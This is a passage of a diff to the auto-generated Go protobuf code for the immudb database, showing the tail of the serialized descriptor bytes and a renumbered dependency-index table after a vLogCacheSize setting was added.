0x67, 0x69, 0x74, 0x68, 0x75, 0x62, + 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, + 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, + 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, + 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, + 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, + 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, + 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, + 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, + 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10191,209 +10204,210 @@ var file_schema_proto_depIdxs = []int32{ 84, // 77: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings 75, // 78: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 75, // 79: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 - 78, // 80: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 79, // 81: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 79, // 82: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 75, // 83: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 79, // 84: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 79, // 85: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 78, // 86: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 75, // 87: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 75, // 88: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 75, // 89: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 78, // 90: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool - 75, // 91: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 92: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 93: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 75, // 94: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 75, // 95: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 76, // 96: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 75, // 97: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 75, // 98: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 75, // 99: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 100: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 101: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 102: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 103: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 75, // 104: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 80, // 105: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 75, // 106: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 107: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 115, // 108: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 94, // 109: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 36, // 110: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 96, // 111: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 38, // 112: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 113: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 124, // 114: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 125, // 115: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 126, // 116: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 127, // 117: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 118: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 67, // 119: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 104, // 120: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 81, // 121: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 109, // 122: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 109, // 123: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 115, // 124: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 111, // 125: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 126: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 128, // 127: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 129, // 128: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 113, // 129: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 114, // 130: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 115, // 131: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 130, // 132: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 133: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 76, // 134: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 80, // 135: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 115, // 136: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 115, // 137: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 131, // 138: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 139: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 140: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 99, // 141: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 100, // 142: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 143: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 144: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 145: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 131, // 146: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 131, // 147: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 116, // 148: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 131, // 149: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 131, // 150: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 107, // 151: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 152: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 153: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 131, // 154: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 155: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 156: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 157: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 158: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 159: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 160: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 161: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 162: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 163: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 131, // 164: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 165: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 166: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 167: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 168: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 169: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 131, // 170: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 131, // 171: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 131, // 172: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 173: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 174: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 175: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 176: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 177: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 178: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 179: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 180: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 85, // 181: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 87, // 182: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 89, // 183: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 131, // 184: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 102, // 185: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 186: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 187: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 188: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 131, // 189: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 190: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 91, // 191: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 131, // 192: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 193: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 105, // 194: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 195: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 105, // 196: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 197: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 198: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 199: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 105, // 200: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 201: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 105, // 202: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 107, // 203: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 204: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 131, // 205: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 93, // 206: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 95, // 207: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 6, // 208: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 131, // 209: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 131, // 210: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 131, // 211: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 131, // 212: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 131, // 213: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 131, // 214: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 215: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 131, // 216: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 131, // 217: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 117, // 218: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 111, // 219: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 131, // 220: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 131, // 221: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 112, // 222: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 223: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 131, // 224: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 225: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 226: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 227: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 228: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 229: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 230: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 231: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 232: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 233: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 234: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 235: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 236: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 237: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 238: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 239: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 240: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 241: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 242: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 243: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 244: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 245: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 246: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 247: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 131, // 248: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 131, // 249: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 250: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 86, // 251: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 88, // 252: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 90, // 253: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 101, // 254: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 103, // 255: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 98, // 256: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 131, // 257: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 258: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 259: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 260: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 92, // 261: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 131, // 262: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 105, // 263: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 264: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 105, // 265: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 266: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 105, // 267: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 105, // 268: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 105, // 269: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 270: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 105, // 271: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 272: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 110, // 273: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 112, // 274: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 112, // 275: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 112, // 276: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 97, // 277: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 208, // [208:278] is the sub-list for method output_type - 138, // [138:208] is the sub-list for method input_type - 138, // [138:138] is the sub-list for extension type_name - 138, // [138:138] is the sub-list for extension extendee - 0, // [0:138] is the sub-list for field type_name + 75, // 80: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 + 78, // 81: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 79, // 82: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 79, // 83: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 75, // 84: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 79, // 85: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 79, // 86: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 78, // 87: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 75, // 88: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 75, // 89: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 75, // 90: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 78, // 91: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool + 75, // 92: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 93: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 94: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 75, // 95: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 75, // 96: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 76, // 97: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 75, // 98: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 75, // 99: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 75, // 100: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 101: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 102: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 103: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 104: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 75, // 105: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 80, // 106: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 75, // 107: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 108: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 115, // 109: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 94, // 110: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 36, // 111: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 96, // 112: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 38, // 113: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 114: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 124, // 115: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 125, // 116: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 126, // 117: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 127, // 118: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 119: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 67, // 120: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 104, // 121: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 81, // 122: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 109, // 123: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 109, // 124: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 115, // 125: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 111, // 126: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 127: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 128, // 128: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 129, // 129: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 113, // 130: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 114, // 131: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 115, // 132: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 130, // 133: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 134: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 76, // 135: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 80, // 136: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 115, // 137: 